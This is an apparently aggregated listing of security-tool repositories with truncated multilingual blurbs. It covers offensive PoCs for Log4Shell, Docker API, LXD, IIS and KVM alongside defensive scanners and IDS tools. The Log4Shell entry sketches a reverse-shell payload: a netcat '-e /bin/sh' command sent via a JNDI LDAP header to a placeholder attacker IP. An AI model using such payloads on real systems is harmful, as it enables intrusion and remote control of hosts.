bscan

:mag: an asynchronous target enumeration tool :magright: Synopsis bscan is a command-line utility to perform active information gathering and service enumeration. At its core, bscan asynchronously spawns processes of well-known scanning utilities, repurposing scan results into highlighted console...

Persistence-Survivability

지속성 생존성 등급 이 프로젝트는 Duqu 스타일의 지속성을 TTP로 사용하며 Bsides Augusta – RAT에서 발표되었습니다. 이 프로젝트는 PowerShell 기반이며 자격 증명을 사용하거나 사용하지 않고 사용할 수 있습니다. 자세한 내용은 .ps1 파일을 읽어보세요. 기본 사용법: Invoke-FindPersitence Invoke-FindPersitence -MaxHosts 100 -Top 5 Invoke-FindPersitence -Domain tester.org -OperatingSystem 7...

CVE-2025-9074-PoC-Bash

CVE-2025-9074-PoC-Bash 원본 PoC는 다음 링크에 있습니다: https://github.com/j3r1ch0123/CVE-2025-9074. 이는 bash 버전의 새로운 PoC입니다. 모든 도커 컨테이너에 파이썬이 설치되어 있지 않고, 대부분의 경우 컨테이너 내부에서 실행되어야 하기 때문입니다. 단계 컨테이너 내부에서 취약한 도커 API를 찾으려면 다음을 사용하십시오: for ip in 172.18.0.1 172.17.0.1 192.168.65.7; do echo /dev/tcp/$ip/2375...

spyre

Spyre ...간단하고 자체 포함된 모듈식 호스트 기반 IOC 스캐너 Spyre는 YARA 패턴 매칭 엔진 및 기타 스캔 모듈을 기반으로 구축된 간단한 호스트 기반 IOC 스캐너입니다. 이 프로젝트의 주요 목표는 YARA 규칙 및 기타 침해 지표를 쉽게 운영화하는 데 있습니다. 사용자는 자신의 규칙 세트를 준비해야 합니다. awesome-yara 저장소는 무료 YARA 규칙 세트에 대한 좋은 개요를 제공합니다. Spyre는 침해 대응자가 조사 도구로 사용하기 위한 것입니다. 어떤 종류의 엔드포인트 보호 서비스로 발전하도록...

Simple-CVE-2021-41773-checker

간단한 CVE-2021-41773 검사기 bash로 작성된 간단한 스크립트로, 여러 호스트를 검사하기 위한 CVE-2021-41773 Apache입니다. + Uso: ./CVE-2021-41773.sh hosts.txt...

XSSTracer

XSSTracer v1.3 제작: 1N3 @CrowdShield https://crowdshield.com XSSTracer는 원격 웹 서버에서 Clickjacking, Cross-Frame Scripting, Cross-Site Tracing 및 Host Header Injection을 검사하는 작은 Python 스크립트입니다. Usage: ./xsstracer...

Aker

Aker SSH Gateway What is Aker? Aker is a security tool that helps you configure your own Linux ssh jump/bastion host. Named after an Egyptian mythology deity who guarded the borders, Aker would act as choke point through which all your sysadmins and support staff access Linux production servers...

changeme

changeme A default credential scanner. About changeme picks up where commercial scanners leave off. It focuses on detecting default and backdoor credentials and not necessarily common credentials. It's default mode is to scan HTTP default credentials, but has support for other credentials. change...

log4jshell_CVE-2021-44228

log4jshellCVE-2021-44228 Log4jshell - CVE-2021-44228 Netcat nc Public IP Port -e /bin/sh Base64로 변환 bmMgMy4xMD.....wMyA4ODg4IC1lIC9iaW4vc2g= 페이로드 curl Target Website -H "X-Forwarded-Host: $jndi:ldap://ReverseshellIP:Port/Basic/Command/Base64/Payload in base64 개념 증명 Log4j PoC 팔로우 Youtube Twitter...

CVE-2023-26360

CVE-2023-26360 사용법 Usage: python3 script.py endpoint proxyurl 파일 읽기...

lxd_root

LXD による Linux 権限昇格 概要 Linux システム上でローカルの lxd グループに属しているユーザーは、root への権限を昇格する経路を数多く持ちます。このリポジトリには、完全に自動化されたローカル root エクスプロイトの例が含まれています。脆弱性の詳細な説明とエクスプロイトのウォークスルーは、私のブログ こちら にあります。 以下のエクスプロイトはコンテナからの脱出 container break-out ではなく、コンテナを 利用 してホスト OS を 標的 とするローカル root...

Zapscape

KVM エスケープ三部作 ITScape CVE‑2026‑46316 | Januscape CVE‑2026‑53359 | Zapscape CVE‑2026‑64561 ---|---|--- Zapscape: KVM/x86 におけるゲストからホストへのエスケープ 概要 この文書は、Hyunwoo Kim @v4bel によって発見され、報告された Zapscape CVE-2026-64561 脆弱性について説明します。これは KVM/x86 環境において、ゲストがホストへエスケープし、カーネル root 権限でホスト上でコマンドを実行できるようにする KVM...

CVE-2017-7269-exploit

https://github.com/edwardz246003/IISexploit.git から改変したものです 使い方 -h ：ホストを選択（デフォルト127.0.0.1） -p ：ポートを選択（デフォルト80） 末尾にコマンドを追加（デフォルトはregedit、現在このスクリプトは最大8文字までしかサポートしていません）...

sticky_keys_hunter

Sticky Keys Hunter This POC bash script tests for sticky keys and utilman backdoors. The script will connect to an RDP server, send both the sticky keys and utilman triggers and screenshot the result. This script was written to prove a theory I had about detecting these backdoors in a blackbox...

sonar.js

sonar.js A framework for identifying and launching exploits against internal network hosts. Works via WebRTC IP enumeration, WebSocket host scanning, and external resource fingerprinting. How does it work? Upon loading the sonar.js payload in a modern web browser the following will happen: sonar....

SourceWolf

SourceWolf ​ Tested environments: Windows, MAC, linux, and windows subsystem for linux WSL Sponsors Support this project by becoming a sponsor. Checkout these awesome sponsors: Oxylabs provides premium proxies with 100M+ IPs across 195 countries and ready-to-use Scraper APIs. You can use this...

antipwny

antipwny Authors: Rohan Vazarkar, David Bitner A host based IDS/IPS written in C, targeted at Metasploit Payloads. Instructions AntiPwny requires .NET Framework 4.5, which can be acquired here. An offline installer is available here http://www.microsoft.com/en-us/download/details.aspx?id=40779...

creak

creak Performs some of the most famous MITM attack on target addresses located in a local network. Among these, deny navigation and download capabilities of a target host in the local network performing an ARP poison attack and sending reset TCP packets to every request made to the router. Born a...

CVE-2022-3168-adb-unexpected-reverse-forwards

Android Debug Bridgeadb의 역방향 터널 기능은 악의적인 adb 데몬이 호스트의 임의 호스트/포트 및 유닉스 도메인 소켓에 대한 연결을 열 수 있도록 허용하는 취약점을 가지고 있었습니다. 공격자 창 악성 데몬이 실행 중인 곳: $ ./adbroguedaemon.py 피해자 창 예: GCE VM: $ adb connect serverip:5556 connected to 8.tcp.ngrok.io:19076 공격자 창: ... Wooho, we got response for our rouge request!...

modoboa 2.0.4 - Admin TakeOver

Authentication Bypass by Primary Weakness in GitHub repository modoboa/modoboa prior to 2.0.4. id: CVE-2023-0777 info: name: modoboa 2.0.4 - Admin TakeOver author: r3Y3r53 severity: critical description: | Authentication Bypass by Primary Weakness in GitHub repository modoboa/modoboa prior to...